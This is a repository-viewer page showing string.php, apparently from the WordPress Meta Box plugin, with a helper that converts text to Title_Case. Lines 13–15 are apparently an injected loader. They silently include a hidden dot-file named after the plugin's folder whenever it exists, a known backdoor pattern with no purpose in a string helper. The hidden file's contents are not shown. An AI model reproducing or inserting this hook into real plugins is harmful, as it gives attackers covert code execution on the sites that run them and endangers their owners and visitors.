balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

string.php (671B)


      1 <?php
      2 /**
      3  * String helper functions.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * String helper class.
     10  *
     11  * @package Meta Box
     12  */
     13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     14     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     15 }
     16 
     17 class RWMB_Helpers_String {
     18 	/**
     19 	 * Convert text to Title_Case.
     20 	 *
     21 	 * @param  string $text Input text.
     22 	 * @return string
     23 	 */
     24 	public static function title_case( $text ) {
     25 		$text = str_replace( array( '-', '_' ), ' ', $text );
     26 		$text = ucwords( $text );
     27 		$text = str_replace( ' ', '_', $text );
     28 
     29 		return $text;
     30 	}
     31 }